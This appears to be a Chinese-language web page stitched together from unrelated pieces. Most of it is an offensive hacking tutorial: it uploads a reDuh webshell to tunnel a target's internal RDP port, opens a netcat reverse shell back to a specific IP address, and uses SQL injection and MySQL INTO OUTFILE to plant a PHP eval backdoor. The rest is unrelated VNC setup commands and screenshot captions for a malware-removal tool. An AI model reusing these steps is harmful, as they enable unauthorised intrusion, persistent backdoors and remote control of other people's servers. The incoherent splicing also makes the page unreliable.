这个工具可以把内网服务器的端口通过http/https隧道转发到本机，形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

本机-------客户端---------（http隧道）-----------服务端------------------内网服务器

服务端是个webshell（针对不同服务器有aspx,php,jsp三个版本），客户端是java写的，本机执行最好装上jdk。

把客户端文件解包，这里我把它放到e盘的test文件夹

把服务端的webshell上传到目标服务器

目标服务器在内网，开了终端服务。

命令行下用客户端连接服务端

e:\test>java reduhclient 目标服务器域名 http 80 /webshell路径/reduh.asp

新开一个命令行，用nc连接本机1010端口。

h:\>nc -vv localhost 1010

连接成功会有欢迎提示，之后输入命令

>>[createtunnel]1234:127.0.0.1:3389

前面的1234是本机连接用的端口，中间的ip地址是目标服务器的（可以是webshell所在服务器也可以是和它同内网的服务器），后面的3389是欲连接目标服务器的端口。

成功后两个命令行窗口都会有成功提示。

这时通道已经建立，你连接本机的1234端口就相当于连接到目标服务器的3389端口了。

数据的传递过程

需要注意的是用此工具转发数据速度很慢，连接的时候应尽量把mstsc的颜色设置调低些。

2.上传nc。可以跟cmd.exe上传到同一目录。

步骤：
现在本地监听一个端口。

nc -vv -l -p 8080

最好是80或8080这样的端口，被防火墙拦截的几率小很多。我机器80被apache占了，就用8080了。

在webshell运行下面命令连接我们监听的端口得到cmdshell:

nc -vv 222.71.138.177 8080 -e c:\documents and settings\all users\documents\cmd.exe

(假设cmd.exe是上传在“c:\documents and settings\all users\documents\”这个目录的)
稍等片刻，不出意外的话就可以得到cmdshell了。

不过我前面也说了，是低权限的cmdshell，能做的事情很少，但如果我们要运行很多cmd命令的话，还是要方便很多。
如果要在反弹的cmdshell里面运行上传的程序，要用如下个格式:

c:\windows\system32\inetsrv>"c:\documents and settings\all users\documents\cmd.exe"

昨天看一篇文章中说到mysql导出一句话木马拿webshell的方法。
文章中用到的sql语句大体如下(命令行或者其它能执行sql命令的shell都行)：

drop table if exists temp; //如果存在temp就删掉
create table temp(cmd text not null); //建立temp表，里面就一个cmd字段
insert into temp (cmd) values(’<? php eval(_post[cmd]);?>’); //把一句话木马插入到temp表
select cmd from temp into out file ’f:/wwwroot/eval.php’; //查询temp表中的一句话并把结果导入到eval.php
drop table if exists temp; //删除temp(擦屁股o(∩_∩)o...)

这几句sql很简单，我做了简单的注释。
不过想想我们在测试php的sql漏洞的时候经常用如下的语句：

/**/union select 1,2,3,4,5,6,7,8,9,10,11,12/*

然后返回的页面中可能会出现1~12之间的数字。这里加入数字3显示出来了。
如果我们把上面这句改成/**/union select 1,2,’zerosoul’,4,5,6,7,8,9,10,11,12/*，则返回页面上次显示3的地方会显示zerosoul。
也就是说如果我们的select语句后面不带from table语句的话，我们说查询的数字或字符会直接返回到查询结果里。
既然这样，我们为何还要那么麻烦去建一个表，先导入数据，再导出这样折腾呢。

有了这个思路，上面那一大段到出一句话的sql代码可以直接简化到一句:

select ’<? php eval(_post[cmd]);?>’ into outfile ’f:/wwwroot/eval.php’;

这样做不但简单明了，而且避免了误删别人的数据。
效果图如下：

图1

图2

tar zxvf vnc-3.3.3r1_x86_linux_2.0.tgz 

cd vnc_x86_linux_2.0 

cp *vnc* /usr/local/bin/ 

mkdir /usr/local/vnc 

cp -r classes/ /usr/local/vnc/ 

设置Vnc Server的访问密码： 

vncpasswd 

启动Vnc Server：

vncserver 

点击此处下载最新版恶意软件查杀助理

图1 程序设置选项

图2 系统修复模块

图3 查杀木马

图4 扫描过程非常快速

图5 辅助查杀模块

图6 广谱扫描模块

图7 在线升级功能按钮

图8 扫描系统设置提供修复选项

图9 系统修复功能需要下载使用Windows贴心助手

图10 检测到恶意软件

图11 提示启用深度扫描

图12 深度扫描进行中

图13 选择最佳升级服务器

图14 在线升级中

图15 调用恶意软件查杀工具

图16 具体指定扫描区域